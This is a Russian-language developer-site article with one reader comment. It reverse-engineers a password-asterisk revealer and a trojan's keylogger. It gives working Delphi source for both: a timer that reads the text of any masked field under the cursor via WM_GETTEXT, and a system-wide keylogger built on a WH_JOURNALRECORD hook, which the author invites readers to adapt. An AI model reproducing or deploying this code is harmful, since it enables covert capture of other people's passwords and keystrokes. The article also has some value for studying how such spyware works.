DevDoc home page DevDoc background gradient
 
   
Имя Пароль Запомнить Зарегистрироваться

Автор: Абанов Георгий
Последняя модификация: 2007-02-23 18:13:57

Статья опубликована с разрешения автора. Оригинал здесь.

Note for BTA dll

Пару дней назад ко мне в руки попал очередной "хакерский" диск с многообещающим названием "Всё что надо хакеру/крэкеру для взлома любой системы" (круто! :)). На диске содержится много "полезного" софта для истинного компьютерного хулигана:

  1. FrontPage 98.
  2. Go!Zilla (хорошая кстати прога).
  3. Полная официальная версия WinXP (объём дистрибутива 150 метров (!)).
  4. Коллекция вирусов (это интересно :)).

Коллекция вирусов при ближайшем рассмотрении содержала в себе много прог, которые вредоносными и назвать тяжело (подборщики паролей, системы удалённого администрирования, крякер инета :) и т. д.). И среди всего этого попались мне интересные проги, а именно OpenPass, Behind The Asterisks и MadExplorer. Первые две занимаются тем, что показывают пароли находящиеся за звёздочками. Но особенность их в том, что они не используют DLL. В "хакере" была статья (ver.10.01(34)) о написании смотрелки. Суть той программы заключалась в следующем: экзешник загружаеть Dll'ку, которая в свою очередь ставит хук на мессаги и смотрит, где кликнула мышь, там убирает звездочки. Но в OpenPass и Behind The Asterisks нет DLL (поэтому они меня и заинтересовали). Ну что ж, посмотрим что содержится в Behind The Asterisks (так как она меньше, чем OpenPass). Для этого возьмём WinDasm и декомпилируем BTA. Код программы очень прост и легко читаем. Программа создает стандартный диалог DialogBoxParamA() и работает только с ним, но не это интересно. Как же она достает текст из полей ввода без DLL? Смотрим и видим следующие строки:

:00401052 53 push ebx
:00401053 6A0A push 0000000A
:00401055 6A04 push 00000004
:00401057 51 push ecx * Reference To: USER32.SetTimer, Ord:0252h 
 
 
:00401058 FF1528204000 Call dword ptr [00402028]

Это сразу бросается в глаза (так как программа очень маленькая). Что же делает таймер? А вот что:

//Получаем информацию о расположении курсора на экране.
:0040107C 6800304000 push 00403000 
 
 
* Reference To: USER32.GetCursorPos, Ord:00FCh 
 
 
:00401081 FF1518204000 Call dword ptr [00402018]
 
 
//Теперь получаем handle элемента, над которым находиться мышь.
:00401087 A104304000 mov eax, dword ptr [00403004]
:0040108C 50 push eax
:0040108D 8B0D00304000 mov ecx, dword ptr [00403000]
:00401093 51 push ecx
* Reference To: USER32.WindowFromPoint, Ord:02A9h
 
:00401094 FF1530204000 Call dword ptr [00402030]
 
 
// Посылаем сообщение handle'у.
:0040109A 6814304000 push 00403014
:0040109F 6800040000 push 00000400
:004010A4 6A0D push 0000000D
:004010A6 50 push eax
* Reference To: USER32.SendMessageA, Ord:0214h
 
:004010A7 FF152C204000 Call dword ptr [0040202C]

Сообщение 0000000D соответствует WM_GETTEXT. То есть данный вызов копирует содержимое элемента в массив. Ну а с полученными данными можно делать всё что угодно (в том числе показать пользователю :)). Вот исходник всего этого на Delphi:

...
var
...
h:integer; 
...
 
procedure timer;
var c:array[1..255] of char;
p:tpoint;
handle:hwnd;
begin
GetCursorPos(p);
handle:=WindowFromPoint(p);
SendMessage(handle,WM_GETTEXT,sizeof(c),integer(@c));
Form1.Caption:=c;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
h:=settimer(handle,0,300,@timer);
end;
 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
killtimer(handle,h);
end;

Ну вот и всё что касалось BTA. Теперь о MadExplorer'е. Это троян с кучей функций, среди которых есть клавиатурный шпион, и опять же он реализован без Dll'ки. Обычно в таких программах делают хук на WH_KEYBOARD и ловят все нажатия (о подобной реализации можно прочесть например на хакере в статье "Клавиатурный шпион своими руками" (кстати советую, автор хороший кодер)). Минусом этого шпиона можно считать наличие двух файлов и лишние телодвижения (такие как обработка DllEntryPoint). Изучив код MadExplorer'а (приводить его здесь нет смысла, так как он очень большой) я написал следующий пример:

...
var
...
h:hhook;
...
 
function Proc(
 
code:integer; 
wParam:WPARAM;
lParam:LPARAM
):lresult;stdcall;
var c:array[0..255] of char;
nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
form1.ListBox1.Items.Add(c);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;
 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
caption:=inttostr(h);
end;


Этот пример можно доработать и использовать в своих благородных целях. Вот и всё. Жду пожеланий. Если ты хочешь о чём-либо узнать и мне тоже будет интересно, я обязательно напишу.

Подпишитесь, чтобы получать все новые статьи с сайта первым!

Оценить статью Текущий рейтинг: 3.0238. Проголосовало 42 человек.

Коментарии к статье

Примечание к статье:
WM_GETTEXT-ом окна, под мышью, по таймеру
winlogon не посмотреть, а именно его звездочки
наиболее всех интересуют
он ведь \"в другой вселенной\" (в другом desktop-е)

для звездочек \"обычных\" программ, можно руками стиль сменить
(если кто не хочет чужие exe-ники на своей машине запускать)

Добавить комментарий

Вы можете добавлять свои комментарии, пожелания или вопросы к статье. Они будут видны всем пользователям, а также автору статьи. Войдите в систему под своим именем, чтобы другие пользователи могли видеть, кто автор сообщения. Форма для входа расположена вверху страницы. Если у Вас нет аккаунта на сайте - рекомендуем зарегистрироваться. Это займет всего пару минут.

Отправлять сообщения могут только зарегистрированные пользователи

Copyright (C) Kudinov Alexander, 2006-2012

Перепечатка материалов с данного сайта запрещена без письменного разрешения автора. При перепечатке обязательно указывать ссылку на оригинал.

Generation time: 1,29231405258 seconds